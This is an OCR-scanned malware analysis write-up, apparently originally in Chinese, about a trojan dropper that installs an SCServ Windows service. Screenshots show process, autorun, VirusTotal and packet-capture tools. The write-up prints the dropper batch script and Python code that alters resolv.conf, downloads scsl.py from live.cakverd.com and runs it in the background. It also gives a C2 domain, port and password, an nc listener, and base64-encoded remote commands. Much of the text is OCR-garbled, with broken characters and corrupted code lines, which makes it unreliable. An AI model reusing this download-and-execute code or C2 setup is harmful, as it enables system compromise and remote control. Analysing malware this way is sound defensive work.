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_wpcap_bat npf.sys Packet.dll SCServ.exe wpcap.dll
test.exe R4S

l. #% " _wpcap_.bat ; ®* % % ° % packet.dll 4= wpcap.dll 4F @ =
Mwindows\system3d2\ ;> #-npf.sys 47 @l * T systemd2\drivers\ ;-
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[ _wpcap_bat %

net stop SCServ
- SCServ remove
- if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV

- copy /y packet.dll %SYSTEMROOT%\system32\ .

- copy /y wpcap.dll %SYSTEMROOT%\system32\ BRAER

- del packet.dll .

- del wpcap.dll MERtE=

- :COPYDRV

- if /1 %CD%==%SYSTEMROOT%\system32\drivers goto COPYSRV
10 copy /y npf.sys %SYSTEMROOT%\Systemgz\drlvers\ EgEE

- del npf.sys MipkiE=

- :COPYSRV

- if /1 %CD%=="%SYSTEMDRIVE%\Program Files" goto END

- copy /y SCServ.exe "%SYSTEMDRIVE%)\Program Files\" £ %152
- idel SCServ.exe flFH1EZ

- "%SYSTEMDRIVE%\Program Files\SCServ" --startup auto install

- net start SCServ MITIELED

- :END

- del test.exe fIfEIEE

20 _del %0

_wpcap_.bat
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3. #_" wpcap_.bat | ¥ Vaigihk L2 BB YA > U B 1 B R R
B ke i A B R A SCServ. exe 5 & & i AATE o

4. Zi procexp 1 & & 7 ¥ BARSN TR 0 B A2 SCServ. exe i
Rhdfod #RpE 479 0 ¥ ¥ & virustotal A @RS 3/56T

R R

Process C... Privat... Work... P... Description Company N... VirusT... Verifie...
=iSearchInde... 23,53... 20,72... 2...Microsoft Wi.., Microsoft C... 0/57 (Verifie...
Flwmpnetwk.... | <... 5,676 K 9,328 K 2... Windows Me... Microsoft C... 0/57 (Verifie,..
misvchost.exe 2,392 K 6,120 K 2... Windows Ser... Microsoft C... 0/57 (Verifie...
misvchost.exe 63,97... 18,88... 820 Windows Ser... Microsoft C... 0/57 (Verifie...

b SCServ.exe LOI2K 2,740 K 1...
LISCServ.exe 13,82... 18,31... 2... 5.
Eilsass.exe 3,468 K &, 880 K 520Local Securit... Microsoft C... Unknown (Verifie,.,

Tlsm.exe 0.... 2,164 K 3,496 K 532

D. #1i# autoruns 1 & & FAEN BSEK G 0 SCServ. exe A& B » k5t

service ¥ ¢ Frt o

Autorun Entry Description  Publisher Image Path
# HKLM\System\CurrentControlSet\Services
A SCServ c:\program files\scserv.exe
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SHA256: 21846642e71f49b906106767 1dbbch725eféeedac9310c758e5b128c86d9ef62
tEZEmfE SCServ.exe
A 3/57
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AhnLab-V3 Trojan/Win32.Swrort
Tencent Trojan.Win32.YY.Gen.0
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8. ERA; € £ DNS A #u "live. cakverd. com > %A@ 3Z4ki % @ 4
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Time Source Destination Protocol Length Info
1 0.000000140. .8.8. DNS | 76 standard query 0x9ccf |A 1ive.cakverd.com

20.0360058.8.8.8 149 Standard query response 0x9ccf No such name

9. & L 425" SCServ.exe ¢ % &> F4l % C:\Program Files\ ® » i ®
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B 5CServ.ex=:2296 Properties: - EIM

-

| Threads I TCR/{IP I Security I Environment I Strings |
Image | Performance I Performance Graph I Disk and Network I GPU Graph |
Image File

L_I (ERET BERRAEOEE-)

Version: nfa

Build Time: Fri May 25 17:26:27 2012

Path (Image is probably packed):

| C:'\Program Files\SCServ.exe Explore
Command line:

"C:\Program Files\SCServ.exe”™
Current directory:
Ci\Windows\System32y

| HKLM\System'CurrentControlSet\Services\SCSery |

Parent:  services.exe{512)
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12. 4R test.py B &P F > 7L F A% F ~ R ELE root FFiE 0 § A
¢z resolve. conf 7 nameserver = 8.8.8.8 » #A{s £ % :E DNS fZ 47

| http://live. cakverd. con/ T §* scsl.py & & #25° -

40 #if uid == "root™:
try

fp= open(l'/etc/resolv.conf"l "a+')
tab=o0

. for line in fp:

- if line.find('8.8.8.8") > o:

46 tab=1
. if tab==o:
exefile :I"\nnameserver 8.8.8.8\n" I
. fp.write(exefile)
50 fp.close()
: except:
pass
I url = "http://live.cakverd.com/scsl.py" I

- filename = url{url.rhind("/")+1:]
urllib.urlretrieve(url, filename)
exefile = "python -OO -m py_compile " + os.path.abspath(filename)

13. Z& 425 scsl.py ei= € 5 & /bin/scsl.py » 1% i nohup

python 45 4 &% B4 * -


http://live.cakverd.com/scsl.py
http://live.cakverd.com/

#installpath =™

- #if uid == "root”;

installpath = "/bin/" + filename
tab = copyfile(os.path.abspath(filename), installpath)
#else:

if tab == o:

70 installpath = os.path.abspath(filename)

exefile = "nohup python " + installpath + " >/dev/null 2>& &"
73 subprocess.Popen(exefile, shell = True)

14. F%plER G test.py #2781 » FIRBMANE 2 S HEF - R FETF

= & & #x http://live. cakverd. con/ @ &% f#47 T $ 71

scsl.py ° = 7 45 3] scsl.py s 4078 > R REF A DB LR OR

4F5 https://gist. github. com/mjpieters/8757225 °
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-

- ControlDomain = 'usaserverav.dyndns.tv'
- ControlPort = 9999

- ControlTimeOut = 31536000

- ConnectSleep = 300

- ControlPassword ="fuckyou'
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root @buntu: ~# nc -1 9999
Zn\Vj a3l vdQ=
dA=—
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15 < EFl Server In
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bSA4Lj guOCA40i BpY21wX3N cTOxI HRObDOON B0aWl1 PTE2Lj UgbXMKN QuYnl 0ZXMjZn] vhSA4
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[root@ip7134 ~]# ps aux | grep ping

root 5451 0.0 0.0 12848 884 7 S 18:48 0:00 /usr/libexec/ma
pping-daemon
root 7648 0.0 0.0 6048 636 pts/1 S+ 18:59 0:00 ping 8.8.8.8

W R p9Clientim

Baseb4i o EEERE R

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp_seq=1 ttI=46 time=16.5 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=16.1 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=15.6 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=46 time=16.6 ms
64 bytes from 8.8.8.8: icmp_seq=>5 ttI=46 time=15.9 ms

HiEate 15 kg 0 client foserver 2 B rLf % base64 4c % = 3
W oo Clienti a8 ¢ FF#EF ~ “t7 % server = » ¥ server
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NetWitness Reconstruction for session ID: 9 ( Source 140. 137896, Target 140.

T|meb 08/ 201‘3 11:06:19 mb 08/2015 11:08:39 Packet Size 3,013 hyms Pay\oadSize]?S bytes
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base64 decode: t

| cGluZyA4L] guOC44 [A==dA— |

base64 decode: ping 8.8.8.8

UE1ORyA4L) guOC441Cg4L) gnOC44KS4L; g61G11 bXBfe2VxPTM5THROBDOO

base64 decode: PING 8.8.8.8 (8.8.8.8).4/1-X].\OLE-iM
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